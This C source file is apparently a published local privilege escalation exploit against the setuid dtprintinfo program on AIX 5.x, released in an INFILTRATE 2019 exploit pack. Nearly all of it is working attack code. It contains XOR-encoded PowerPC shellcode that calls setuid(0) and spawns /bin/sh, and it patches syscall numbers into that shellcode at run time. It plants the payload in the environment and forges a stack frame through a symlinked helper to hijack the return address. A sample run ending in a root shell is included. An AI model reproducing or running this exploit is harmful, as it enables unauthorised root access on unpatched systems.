aix_ppc_dtprintinfo.c

/*

*** INFILTRATE2019 raptor party pack release ***

dtprintinfo LPE for AIX 5.X

disclaimer: this code is very old and hasn't been compiled in a minute ;)

...

$ Xvfb -ac :2

...

(aix 5.2) $ ./aix 192.168.1.100:2
[+] Found SYS_execve as 5
[+] Found SYS_setuid as 202
[+] Found SYS_sync as 248
[+] loading payload into enviroment ...
[+] Found SYS_execve as 5
[+] Found SYS_setuid as 202
[+] Found SYS_sync as 248
[+] got payload in environment ... 2ff22ed8 (auto-align: 4)
#

Love,
Bas

*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* payloads */
#define OFF_SYS_SYNC        27
#define OFF_SYS_SETUID      75
#define OFF_SYS_EXECVE      111

/* xfocus AIX 5.1 ppc decoder .. modified to include setuid(0) and use SYS_sync #224 */
unsigned char shellcode_universal[] = 
// decoder
"\x7d\xce\x72\x79"      //  xor.    %r14, %r14, %r14
"\x40\x82\xff\xfd"      //  bnel    .main
"\x7d\xe8\x02\xa6"      //  mflr    %r15
"\x39\xef\x01\x01"      //  addi    %r15, %r15, 0x101
"\x39\xef\xff\x37"      //  addi    %r15, %r15, -0xC9   # r15 point to start of real shellcode
"\x3a\x20\x01\x01"      //  li      %r17, 0x101
"\x38\x51\xff\xdf"      //  addi    %r2, %r17, -0x1F    # r2=0xe2 syscall number of sync. (0xe0 on mine! -bas)
"\x3a\x31\xff\x47"      //  addi    %r17, %r17, -0xD1   # shellcode size (modified to include setuid! -bas)

"\x7e\x51\x78\xae"      //  lbzx    %r18, %r17, %r15    # read a character
"\x6a\x53\xfe\xfe"      //  xori    %r19, %r18, 0xFEFE  # xor
"\x7e\x71\x79\xae"      //  stbx    %r19, %r17, %r15    # store a character
"\x36\x31\xff\xff"      //  subic.  %r17, %r17, 1
"\x40\x80\xff\xf0"      //  bne     Loop                # loop

"\x4c\xc6\x33\x42"      //  crorc   %cr6, %cr6, %cr6
"\x7d\xe8\x03\xa6"      //  mtlr    %r15                # lr=real shellcode address
"\x44\xff\xff\x02"      //  svca    0

// ^ 0xfe encoded real shellcode
#ifdef __DEBUG__
"\x81\x1e\xfe\xf6"      // trap
#else
// added setuid(0) .. SYS_setuid of 179 -bas
"\xc7\x11\xfe\xe6"      //  addi    15,15,24            # adjust r15 to point to the execve
"\x82\x9d\xe4\x86"      //  xor     3,3,3
"\xc6\xbe\xfe\x4d"      //  lil     2,179
"\xb2\x38\xcd\xbc"      //  crorc   6,6,6
"\x83\x16\xfd\x58"      //  mtlr    15                  # so that setuid returns to execve in link register
"\xba\xfe\xfe\xfc"      //  svca    0

// execve /bin/sh
"\xc6\x91\xfe\xde"      //  addi    %r3, %r15, 32
"\x6e\x9f\x01\x06"      //  stw     %r3, -8(%r1)
"\x83\x3b\x8d\x86"      //  mr      %r5, %r14
"\x6e\x5f\x01\x02"      //  stw     %r5, -4(%r1)
"\xc6\x7f\x01\x06"      //  subi    %r4, %r1, 8
"\xc6\xbe\xfe\xfb"      //  li      %r2, 5
"\xb2\x38\xcd\xbc"      //  crorc   %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc"      //  svca    0
"\xd1\x9c\x97\x90"      //  .byte   '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe"      //          '/', 's', 'h', 0x0
#endif
;

typedef struct prsyscall
{
    uint32_t   pr_number;            /* syscall number */
    uint32_t   pr_nameoff;           /* offset into sysent file to
                                     * null terminated syscall name */
    uint32_t   pr__pad[6];           /* reserved for future use */
} prsyscall_t;

typedef struct prsysent             /* this struct at offset 0 in sysent file */
{
    uint64_t pr__pad[8];             /* reserved for future use */
    uint32_t pr__pad1;               /* reserved for future use */
    uint32_t pr_nsyscalls;           /* number of entries in prsyscall array */
    prsyscall_t pr_syscall[1];       /* array of syscalls */
} prsysent_t;

struct syscall {
  int number;
  int offset;
};

unsigned char *
check_syscall(void)
{
    char filename[256];
    int pid, fd;
    prsysent_t myprsysent;
    prsyscall_t myprsyscall;
    struct syscall syscall_array[1024];
    unsigned int num, i;
    FILE *file;
    unsigned int SYS_sync = 0;
    unsigned int SYS_setuid = 0;
    unsigned int SYS_execve = 0;

    pid = getpid();
    sprintf(filename, "/proc/%d/sysent", pid);
    fd = open(filename, O_RDONLY);
    if (fd == -1)
    {
        perror("open");
        exit(1);
    }
    i = read(fd, &myprsysent, sizeof(myprsysent));
    num = myprsysent.pr_nsyscalls;
    if (num > sizeof(syscall_array)/sizeof(struct syscall))
    {
        perror("array size");
        close(fd);
        exit(1);
    }
    syscall_array[0].number = myprsysent.pr_syscall[0].pr_number;
    syscall_array[0].offset = myprsysent.pr_syscall[0].pr_nameoff;
    for (i=1; i < num; i++)
    {
        read(fd, &myprsyscall, sizeof(myprsyscall));
        syscall_array[i].number = myprsyscall.pr_number;
        syscall_array[i].offset = myprsyscall.pr_nameoff;
    }
    close(fd);
    file = fopen(filename, "rb");
    if (!file)
    {
        perror("fopen");
        exit(1);
    }
    for (i=0; i < num; i++)
    {
        char syscall_name[0x4000];

        fseek(file, syscall_array[i].offset, SEEK_SET);
        fscanf(file, "%s", syscall_name);
        if (!strcmp("sync", syscall_name))
        {
            SYS_sync = syscall_array[i].number;
            printf("[+] Found SYS_sync as %d\n", SYS_sync);
        }
        else if (!strcmp("setuid", syscall_name))
        {
            SYS_setuid = syscall_array[i].number;
            printf("[+] Found SYS_setuid as %d\n", SYS_setuid);
        }
        else if (!strcmp("execve", syscall_name))
        {
            SYS_execve = syscall_array[i].number;
            printf("[+] Found SYS_execve as %d\n", SYS_execve);
        }
    }
    fclose(file);
    if (!SYS_sync || !SYS_setuid || !SYS_execve)
    {
        perror("syscalls");
        exit(1);
    }

    /* patch up payload with right syscalls */
    shellcode_universal[OFF_SYS_SYNC] = (char)SYS_sync - 1;
    shellcode_universal[OFF_SYS_SETUID] = (char)SYS_setuid ^ 0xfe;
    shellcode_universal[OFF_SYS_EXECVE] = (char)SYS_execve ^ 0xfe;

    return shellcode_universal;
}

/* exploit routines */

void
fake_lsallq(int argc, char **argv, char *buf)
{
    printf("%s\n", buf);
}

#define FF_DWORDS   6
#define FF_PAD      64 /* prepad to frame */
#define ALIGN       0
#define DT_PATH     "/usr/dt/bin/dtprintinfo"

int
main(int argc, char **argv)
{
    unsigned char buf[ALIGN + FF_PAD + FF_DWORDS * sizeof(unsigned int) + 1];
    unsigned int fake_frame[FF_DWORDS];
    unsigned char lr_env[128];
    unsigned char sc_env[256];
    unsigned char dp_env[128];
    unsigned char *p;
    unsigned char *sc;
    int i;
    
    char *env[6];

    /* exploit mode */
    if (!strcmp(argv[0], "lsallq"))
    {
        p = buf;

        memset(buf, 0x00, sizeof(buf));

        fake_frame[0] = 0x41414141;
        fake_frame[1] = 0x42424242;
        fake_frame[2] = (unsigned int)strtol(getenv("LR"), NULL, 16);
        fake_frame[3] = 0x44444444;
        fake_frame[4] = 0x45454545;
        fake_frame[5] = 0x46464646;
        
        memset(p, 'A', ALIGN); 
        p += ALIGN;

        memset(p, 'P', FF_PAD); 
        p += FF_PAD;

        for (i = 0; i < FF_DWORDS; i ++)
        {
            memcpy(p, &fake_frame[i], sizeof(unsigned int));
            p += 4;
        }

        fake_lsallq(argc, argv, buf);
        exit(0);
    }

    if (argc == 1)
    {
        fprintf(stderr, "usage: %s xserver:display\n", argv[0]);
        exit(1);
    }
    else
    {
        sc = check_syscall();
        if (!sc)
            exit(1);
    }

    sprintf(dp_env, "DISPLAY=%s", argv[1]);
    env[0] = dp_env;
    env[1] = "PATH=.:/usr/bin";
    env[2] = "HOME=/tmp";
    sprintf(sc_env, "MYSHELL=AAAA%s", sc); /* A's so we can shift to align on re-exec */
    env[3] = sc_env;
    sprintf(lr_env, "LR=0x41424344");
    env[4] = lr_env;
    env[5] = NULL;

    if (!getenv("MYSHELL"))
    {
        /* reexec with payload in environment */
        printf("[+] loading payload into enviroment ...\n");
        execve(argv[0], argv, env);
    }
    else
    {
        p = getenv("MYSHELL");
        int align = 4 - ((unsigned int)p % 4);

        printf("[+] got payload in environment ... %x (auto-align: %d)\n", (unsigned int)p, align);

        /* align the payload mod 4 */
        memset(sc_env, 0x00, sizeof(sc_env));
        strcat(sc_env, "MYSHELL="); 
        for(i = 0; i < align; i ++)
            strcat(sc_env, "A");
        strcat(sc_env, sc);
        for(i = 0; i < 4 - align; i ++)
            strcat(sc_env, "A");

        /* pass the correct link register value */
        sprintf(lr_env, "LR=0x%.8x", (unsigned int)p + align);

        symlink(argv[0], "lsallq");

        /* supply the same argv so env layout stays same */
        execve(DT_PATH, argv, env);
    }

    fprintf(stderr, "[+] failed to execve: %s\n", DT_PATH);
    exit(1);
}